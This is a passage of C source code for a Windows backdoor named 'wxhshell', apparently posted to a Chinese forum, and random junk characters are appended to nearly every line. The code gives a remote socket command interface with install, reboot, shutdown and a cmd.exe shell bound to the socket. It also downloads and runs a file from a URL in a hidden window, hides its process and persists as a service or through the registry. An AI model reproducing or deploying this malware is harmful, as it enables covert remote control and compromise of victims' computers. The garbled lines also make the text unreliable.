,X@o@W+L  
    switch(cmd[0]) { Uy?jVPL  
  FLi'}C  
  // 帮助 6<lo0PQ"Z  
  case '?': { CHgip&(.F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ge q]wv8  
    break; luoQ#1F?sl  
  } Aw#<:6-  
  // 安装 I*u3 e  
  case 'i': { RAW;ze*"  
    if(Install()) bZ`v1d (r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K%z!#RyJ4  
    else @]Cg5QW>T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cN,*QN  
    break; U=n7RPw  
    } c1f"z1Z  
  // 卸载 NqD]p{>Y  
  case 'r': { $k~TVm Yex  
    if(Uninstall()) CF bNv9GZj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QH'*MY  
    else :&BPKqKp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rpow@@ad<  
    break; ^k6_j\5j  
    } ?ko#N?hgI  
  // 显示 wxhshell 所在路径 D3o,2E(o  
  case 'p': { > 80{n8  
    char svExeFile[MAX_PATH]; Os9SfL  
    strcpy(svExeFile,"\n\r"); s)-oCT$[  
      strcat(svExeFile,ExeFile);  3 xyrWl  
        send(wsh,svExeFile,strlen(svExeFile),0); <h#*wy:o2  
    break;  t`o"K  
    } $_.t'8F  
  // 重启 Q#g`D,:o%~  
  case 'b': { j`_S%E%X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @A,8 >0+  
    if(Boot(REBOOT)) +CSpL2@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~LJ+m6-)  
    else { CS[]T9|_  
    closesocket(wsh); {++ EX2  
    ExitThread(0); NUsxMhP  
    } F[ E'R.:  
    break; '@{:Fr G*U  
    } o 4F'z  
  // 关机 MPB[~#:  
  case 'd': { :>&q?xvA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wps/{h,  
    if(Boot(SHUTDOWN)) #UM,)bH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x3O%W?5  
    else { *6}M.`.-  
    closesocket(wsh); =$'>VPQ  
    ExitThread(0); [mtp-4*  
    } ob7'''i  
    break; gVG^R02#<k  
    } -`L`kL<  
  // 获取shell l(>6Yq  
  case 's': { *)K 5<}V  
    CmdShell(wsh); Sz0PZtJ  
    closesocket(wsh); b <W\#3~G  
    ExitThread(0); JQQyl:=  
    break; kvbZx{s  
  } !JCs'?A  
  // 退出 0z=KnQx"4  
  case 'x': { tJ(xeb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); owNwj  
    CloseIt(wsh); k(ouE|B  
    break; LHY7_"u#  
    } Q>1BOH1by  
  // 离开 Z=Y29V8  
  case 'q': { 3BM z{ny=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p $Tk;;wm  
    closesocket(wsh); 8Ths"zwn  
    WSACleanup(); 5:@bNNX'j  
    exit(1); \[G'cE  
    break; I!/32* s1t  
        } YmljHQP  
  } mb*Yw 6q  
  } s#$t!F??9  
!9d7wPUFr  
  // 提示信息 +g1>h ,K 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VEWW[ T  
} 4  %0s p  
  } O=Su E/q  
kQ+y9@=/g  
  return; PZ]tl  
} ?N{\qF1Mz  
}3z3GU8Q-  
// shell模块句柄 X'OpR   
int CmdShell(SOCKET sock) T!jh`;D+  
{  u$?!  
STARTUPINFO si; A'EI1_3{  
ZeroMemory(&si,sizeof(si)); {K|?i9K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N'b GL%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1H-Wk  
PROCESS_INFORMATION ProcessInfo; MHwfJ{"zo  
char cmdline[]="cmd";  2s}S9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bm#5bhX\|  
  return 0; 8^_:9&)i  
} 7C|AiSH  
l!p`g>$&f  
// 自身启动模式 S*l/ Sa@  
int StartFromService(void) lT[,w9$  
{ YnpN -Y%g  
typedef struct u|<?m A!  
{ QSaDa@OV  
  DWORD ExitStatus; JC'3x9_<z  
  DWORD PebBaseAddress; 9B~&d(Bm  
  DWORD AffinityMask; \S h/<z  
  DWORD BasePriority; Tg)F.):  
  ULONG UniqueProcessId; EZ!! V~  
  ULONG InheritedFromUniqueProcessId; =1[_#Moc6  
}   PROCESS_BASIC_INFORMATION; Zfs-M)  
GgxPpS<ne  
PROCNTQSIP NtQueryInformationProcess; ?0~g1"Y-*K  
ykQb;ZP8jh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~<k>07  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "dpjxH=xO  
A f`Kg-c_(  
  HANDLE             hProcess; CaYb}.:AX  
  PROCESS_BASIC_INFORMATION pbi; e=LrgRy+  
)?{<Tt@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J`g5Qn @S  
  if(NULL == hInst ) return 0; 9d1km~  
c =m#MMc)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NVzo)C8kb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :'DX M{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IJf%OA>v  
(^yaAy#4  
  if (!NtQueryInformationProcess) return 0; :>!-[hfQ  
APl]EV" l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QN8+Uj/zx  
  if(!hProcess) return 0; % Z6Q/+#fn  
bqn(5)%{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :^(y~q?  
bZ`#;D<  
  CloseHandle(hProcess); @,<jPR.  
/3)\^Pof  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HD<$0M|  
if(hProcess==NULL) return 0; n1\$|[^6  
"I56l2dxd  
HMODULE hMod; }8^qb5+!3  
char procName[255];  ]j0+4w  
unsigned long cbNeeded; |-JG _i  
eX\v;~W*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w,P@@Q E  
co,0@.i  
  CloseHandle(hProcess); r (m3"Xu6O  
3?E7\\/R  
if(strstr(procName,"services")) return 1; // 以服务启动 B2r[oT R  
jNxTy UU  
  return 0; // 注册表启动 =*fq5v  
} #GGa,@O  
xn, u$@F  
// 主模块 0=,Nz  
int StartWxhshell(LPSTR lpCmdLine) X !h>13fW  
{ !$98 U~L  
  SOCKET wsl; { {?-& yA  
BOOL val=TRUE; J>R $K  
  int port=0; ^.J_w  
  struct sockaddr_in door; SB%D%Zx6'%  
POk5+^  
  if(wscfg.ws_autoins) Install(); ^m7y=CJM  
4lPO*:/  
port=atoi(lpCmdLine); ln_&Ux+l  
QP~["%}T  
if(port<=0) port=wscfg.ws_port; bEF2- FO  
Qw_uwQZ)  
  WSADATA data; >!5RY8+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;tQc{8O6L  
<IWg]AJT :  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C6c*y\O\7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r?)1)?JnHe  
  door.sin_family = AF_INET; 6!i`\>I]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "PMJh3q  
  door.sin_port = htons(port); cKYvNM  
5H Cw%n9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {zZ)JWM<w  
closesocket(wsl); = V')}f~C  
return 1; 5voL@w>  
} Y;Nq(  
nql1I<I  
  if(listen(wsl,2) == INVALID_SOCKET) { gjsks(x  
closesocket(wsl); e <+)IW:  
return 1; E3a^"V3p  
} tRPIvq/  
  Wxhshell(wsl); sm"Rp~[i  
  WSACleanup(); 5~pxu  
kmW/{I9,ua  
return 0; TgJ+:^+0  
Wx}-H/t'2  
} :UT \L2 q=  
%V;* E]  
// 以NT服务方式启动 H6Zo|n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,#N}Ni:  
{ ~NE`Ad.G  
DWORD   status = 0; @ddCVxd  
  DWORD   specificError = 0xfffffff; LawE 3CD  
K!AA4!eUzM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h}|.#!C3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i~E0p ,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U;kN o3=  
  serviceStatus.dwWin32ExitCode     = 0; DN%JT[7  
  serviceStatus.dwServiceSpecificExitCode = 0; aAqM)T83  
  serviceStatus.dwCheckPoint       = 0; }#tbK 2[  
  serviceStatus.dwWaitHint       = 0; dB~A4pZa  
;^JMX4[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {|$kI`h,3-  
  if (hServiceStatusHandle==0) return; cRs\()W  
$$Tf1hIg  
status = GetLastError(); fP 3eR>e  
  if (status!=NO_ERROR) ]Ky`AG`2~  
{  N MkOx$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VN09g&  
    serviceStatus.dwCheckPoint       = 0; Qn$YI9t  
    serviceStatus.dwWaitHint       = 0; (mbm',%-(  
    serviceStatus.dwWin32ExitCode     = status; Dy5&-yk  
    serviceStatus.dwServiceSpecificExitCode = specificError; e{5O>RO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V(;T{HW&  
    return; IJ5'n  
  } 8 # BR\  
w^cQL%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mk9J~'C_  
  serviceStatus.dwCheckPoint       = 0; mb`h  
  serviceStatus.dwWaitHint       = 0; "*HEXru#B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TPx`qyW  
} R'1j  
IRR b^Q6  
// 处理NT服务事件,比如:启动、停止 @-0mE_$[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vug[q=i  
{ 'I}wN5`  
switch(fdwControl) H`k YDp  
{ 14l6|a  
case SERVICE_CONTROL_STOP:  ngJ{az  
  serviceStatus.dwWin32ExitCode = 0; ]):>9q$C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :RDk{^b)  
  serviceStatus.dwCheckPoint   = 0; 5w~ 0Q  
  serviceStatus.dwWaitHint     = 0; 1fV)tvU$  
  { N,8.W"fV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E|oOd<z  
  } {|0YcL  
  return; OK-*TPrc  
case SERVICE_CONTROL_PAUSE: T+gH38!e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XxeP;}  
  break; yzl}!& E  
case SERVICE_CONTROL_CONTINUE: )b%zYD9p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QxbG-B^)=  
  break; x8c>2w;6x^  
case SERVICE_CONTROL_INTERROGATE: toU<InN  
  break; EqBTN07dZS  
}; YnU*MC}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *T}c{/  
} I d8MXdV  
w87$p821  
// 标准应用程序主函数 H}&JrT95  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mcz;`h|EW  
{ wmX(%5vY^  
I\-M`^@  
// 获取操作系统版本 UCj<FN `  
OsIsNt=GetOsVer(); #N|JC d_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z[vu- f9  
vqVwo\oEdU  
  // 从命令行安装 f8UJ3vB  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?MfwRWY  
!M)] 1Y  
  // 下载执行文件 _V8;dv8  
if(wscfg.ws_downexe) { ^R :zma  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ttB>PTg#  
  WinExec(wscfg.ws_filenam,SW_HIDE); F.@|-wq&  
} a-nn[ j  
4$mtc*tzT  
if(!OsIsNt) { e\-,e+  
// 如果时win9x,隐藏进程并且设置为注册表启动 8$RiFD ,  
HideProc(); Nw"?~"bo  
StartWxhshell(lpCmdLine); *)?'!  
} _KT'W!7  
else  V_e  
  if(StartFromService()) q<^MC/]  
  // 以服务方式启动 Chad}zU`  
  StartServiceCtrlDispatcher(DispatchTable); 4MzPm~Ct  
else =HV${+K=~  
  // 普通方式启动 / $s(OFbi#  
  StartWxhshell(lpCmdLine); f `}/^*D  
ZCBF&.!  
return 0; i6P$>8jBQ-  
}
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只看该作者 1 发表于: 2006-10-10
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